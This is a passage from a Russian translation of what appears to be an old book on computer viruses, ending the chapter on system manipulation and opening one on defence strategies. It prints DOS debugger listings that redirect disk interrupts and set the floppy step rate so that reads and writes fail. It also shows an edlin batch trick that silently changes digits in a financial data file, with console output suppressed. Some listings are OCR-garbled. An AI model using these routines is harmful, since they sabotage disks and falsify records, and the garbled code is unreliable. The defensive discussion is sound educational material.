полнимых обращений к диску.
Таким способом можно без особых затрат имитировать дефекты печатающе
го устройства, интерфейсов и дисплеев. Все это можно сделать с помощью
крошечной программыб оказывающей влияние на клавиатуру и дискеты. Нуж-
но лишь соответствующим образом записать прерывания:
197е:0100 b435 mov ah,35
197е:0102 b004 mov al,04 Прерывание будет
197е:0104 cd21 int 21 переключено
- 271 -
197е:0106 8cc0 mov ax,es
197е:0108 89da mov dx,bx
197е:010а 8ed8 mov ds,ax
197е:010с b425 mov ah,25
197е:010е b013 mov al,13 Прерывание должно
197е:0110 cd21 int 21 быть переключено
197е:0112 b80000 mov ax,00
197е:0115 cd21 int 21
В заключение еще одна маленькая, безобидная "игрушка". Эта программа о
казывает воздействие на шаг дисковода. Его можно сделать столь малым,
что время загрузки утроится, или с помощью ff сделать настолько боль-
шим, что при чтении и записи будет постоянно возникать ошибка. Обычный
адресс 0000:522. Он может быть найден по адресу прерывания 1Е.
1983:0100 b80000 mov ax,0000
1983:0103 8ed8 mov ds,ax
1983:0105 bb2205 mov bx,0522 Адрес параметра
1983:0108 b4ff mov ah,ff шага
1983:010а 8827 моv bx,ah
1983:010c 31co xor ax6ax
1983:010e cl13 int 13 Сброс дисковой системы
Конец программы:
1983:0110 m400 mov ah,00
1983:0112 cd21 int 21
Итак, собственно говоря достаточно обрабатывать область имитируемых
ошибок.
14.4 Манипуляции данными
И в этом разделе не будем слишком вдаваться в подробности, чтобы не
дать "руководства к действию". Потому вы найдете здесь лишь один при-
мер, позволяющий изменить данные, но этот пример выбран таким образом,
чтобы он не представил серьезной опасности для наборов данных.
- 272 -
Вновь речь идет о программе, выполняемой на уровне команд эвм, не тр
ебующего от программиста никаких специальных знаний. Для этого целсо-
образно вновь воспользоваться программами ms-dos. В данном случае ис-
пользуется программа еdlin. Задача состоит в том, чтобы в некотором
файле заменить все символы "9" кода ascii на символы "8" кода аscii.
Сама программа состоит из двух частей: файла пакетной обработки и фай-
ла команд. Файл пакетной обработки с именем ех.ваt состоит лишь из од-
ной строки:
edlin dummy.dat changе
Сюда же относится командный файл сhange. Этот файл нужно сгенерировать
с помощью отладчика , поскольку он содержит управляющие символы:
197е:0100 31 2с 39 30 30 30 52 39-1а 38 оd oa 65 od oa
1 , 9 9 9 9 r 9 . 8 . . . . .
Файл dummy.dat изменяется этой программой следующим образом:
Файл перед вызовом ех.ваt:
einnahmen: 9679569,87 приход:
aucgaben: 453978,99 расход:
privat: 9778,45 Частные поступления:
ende das dftensatzes Конец записи данных
Запускается файл ех.ваt, редактор считывает файл, заменяет "9" на "8"
и вновь записывает файл в память. Перед этим целесообразно заблокиро-
вать интерфейс консоли с помощью сtty nul. Кроме того, на экране появ-
ляется следующая информация:
ende der eingabedatei
*1,9999r9 ^z8
- 273 -
1;*Einnahmen: s679569,87
1:*Einnahmen: s678569,87
1:*Einnahmen: s678568,87
2: Ausgaben: 453878,99
2:*Ausgaben: 453878,89
2:*Ausgaben: 453878,88
3: Privat 8778^55
*e
Теперь файл dummy.dat может выглядеть таким образом:
Einnahmen: 8678568,87
Ausgaben: 453878,88
Privat: 8778,45
Ende dfs dftensatz
Легко представить, какой хаос внутри программы fibu могут вызвать та-
кие манипуляции. Собственно, говоря, если такие манипуляции будут рас-
крыты достаточно быстро, все же потребуется определенное время, пока с
этими данными можно будет работать обычным образом.
14.5 До сих пор и не дальше
Представленные в предыдущих разделах программы все отличаются тем,
что хотя они и доставляют пользователю неприятности, но реальной опас-
ности не представляют. Они должны были лишь продемонстрировать, нас-
колько легко внедриться в систему и выполнить там задуманные манипуля-
ции. Может быть, того или иного читателя удивит, что описанные манипу-
ляции не связаны напрямую с программами-вирусами.
Естественно, описанные подходы не слишком оригинальны и не новы. Но
если связать те или другие задачи на выполнение манипуляций,
- 274 -
15. Стратегия защиты
С тех пор, как оказалось возможным с помощью манипуляций на ЭВМ,
получать личную выгоду, программисты и ответственные лица пытаются
устранить возможность подобного рода манипуляций. В этом отношении
программы "вирусы" обнаруживают совершенно новые проблемы.
В разделе 8 уже были показаны некоторые методы, которые выполняют
функцию защиты. В данной главе речь пойдет об имеющихся на рынке
программных и аппаратных продуктах, что может оказаться стимулом для
собственных разработок.
Наиболее интересная часть этой главы касается парка технологий
Брауншвейгского университета. В предлагаемом разделе впервые в печати
представлены концепции защиты от "вирусов".
Принципиально концепции защиты подразделяются на две группы:
1. Предотвращение манипуляций
a) посредством программного обеспечения
b) посредством аппаратного обеспечения
c) комбинированными программно-аппаратными средствами
2. Распознавание манипуляций
a) посредством программного обеспечения
b) посредством аппаратного обеспечения
c) комбинированными программно-аппаратными средствами
Наибольшая часть имеющихся на рынке решений ограничивается программным
контролем доступа, который препятствует непосредственному доступу к прог-
раммам и данным. При рассмотрении этих отличных друг от друга концепций
основное внимание необходимо уделить их использованию в сфере персональ-
ных компьютеров.
15.1 Операционные системы, защищенные от "вирусов"
Уровень операционной системы является для большей части концепций тем
уровнем, на котором функционирует механизм защиты.
Разумеется на этом уровне находятся только функции защиты,
принадлежащие к первой группе, т.е. препятствующие изменениям состояния
- 275 -
данных или программ. Для этой цели используютcя ограничения доступа, которые
служат более или менее надежным барьером для чтения или записи данных.
Проверка нa упорядоченность данных и программ выполняется, чаще всего,
весьма тщательно.
Так, например, пользователь может попытаться проверить с помощью MS-DOS,
cовпадает ли загружаемая BACKUP-копия 20 Мгбайтного жесткого диска с его
текущим содержимым. Тот, кто это проверяет, должен использовать второй жест-
кий диск, чтобы с его помощью эффективно выполнить проверку. На втором
диске с помощью программы RESTORE может быть размещена резервная копия,
а затем оба диска с помощью программы COMP могут быть проверены
на несовпадения.При этом дополнительным условием для второго диска является
наличие на нем достаточного места для размещения созданного RESTORE файла.
Подобная ситуация на практике едва ли имеет место.
Сравнение оригинальной дискеты с программой, размещенной на жестком
диске, рационально лишь в том случае, когда речь идет о
нескольких и, прежде всего коротких, программах. Поскольку на
сегодняшний день многие программы, вследствие использования
языков программирования высокого уровня, занимают до нескольких
Мбайт памяти,сравнение с помощью COMP может потребовать нескольких часов.
Операционные системы, отличающиеся от MS-DOS довольно часто не
располагают развитым пользовательским сервисом. В этом случае речь
может идти об устройствах со стриммерами или массовой памятью с аналогич-
ными ресурсными возможностями.
Однако только с помощью большой массовой памяти могут быть сокращены
затраты времени, которые в основном необходимы на обмен с дискетами.
Поскольку, как было показано, сравнение данных и программ на уровне
операционной системы может быть выполнено только со значительными затратами
времени времени, концепция защиты для существующих на рынке средств, бази-
руется прежде всего на предотвращении манипуляций.
15.2 Защита с помощью "самоотсечения"
Этот кажущийся несколько странным заголовок по смыслу совпадает с
выражением: единственное гарантированное средство против мигрени -
это отсечение головы. Перенесенное в область компьютеров это выражение
означает, что 100 % гарантией от "вируса" является eго отключение.
Ничего другого открытые системы без механизма защиты против "вирусов"
предложить не могут. Таким образом, задача заключается в том, чтобы
найти разумный компромисс между этими экстремальными требованиями. При этом
- 276 -
ни в коем случае речь не идет о нахождении универсального пути, поскольку
каждое конкретное приложение характеризуется собственными условиями.
15.3 Программы поиска "вирусов"
Реальна ли разработка программы, которая обнаруживает "вирус" до его
распространения и может сообщить об этом или обезопасить этот "вирус"?
Коэн отвечает отрицательно на этот вопрос c обоснованием, котoрое вряд ли
можно использовать в научной работе. Это обоснование выглядит следующим обра-
зом [ср. с 9]:
Если функция F(x) может различить, является ли "x" "вирусом", то
такая функция может быть встроена в программу, которая при F(x)=Тrue
не инициирует активность "вируса", а при F(x)=False - инициирует.
Таким образом можно доказать все и ничего. Для примера, присвоим
переменной "х" значение 5:
Если функция F(x) может отличить, имеет ли "х" значение 5, то эта
функция может быть встроена в программу, которая при F(x)=True присваи-
вает "х" значение 6, а при F(X)=False оставляет значение =5.
Хотя этот способ доказательства очевидно невыполним, все же
необходимо согласиться с основным высказыванием Коэна: Программа поиска
"вируса" может и не существовать. Конечно, по другим причинам.
Как было показано, к основным функциям "вируса" принадлежит его
право на запись, чтение и способность распознавать
состояние программы. Теперь можно попытаться сказать, что все
программы, которые обладают этими функциями, являются потенциальными "виру-
сами". Однако несколько задумавшись над программными функциями, быстро приходят
к заключению, что эти функции присутствуют почти во всех программах.
Кроме того, обращает на себя внимание связь этих функций друг с другом.
Если сделать еще один шаг и попытаться определить эти связи, то
программы, которые читают, изменяют или пишут командные коды - это
потенциальные вирусы. Теперь круг несколько сужается, поскольку число программ,
изменяющих другие программы, относительно невелико. Складывается впечатление,
что таким образом действительно можно выявить вирусы. Однако опять возникают
проблемы, которые вновь сводят на нет достигнутое. Распознавание
функций записи/чтения и их связей между собой в исследуемом программном
обеспечении является хотя и проблематичным, но на
первый взгляд разрешимым. Однако приведенный листинг на псевдоязыке
программирования позволяет выявить возможные трудности:
- 277 -
100 move "ITE"
110 move "WR"
120 jmp 130
130 END
Эта программа, например, при поверхностном контроле не вызвала бы никаких
нареканий. Она загружает две ячейки памяти и, после этого выполняет переход
к ячейке 130, в которой расположена команда END. Кажется безобидная
вещь ! Однако, если присмотреться внимательнее к программе, делается ясно,
что после отработки двух первых команд программа полностью изменяется.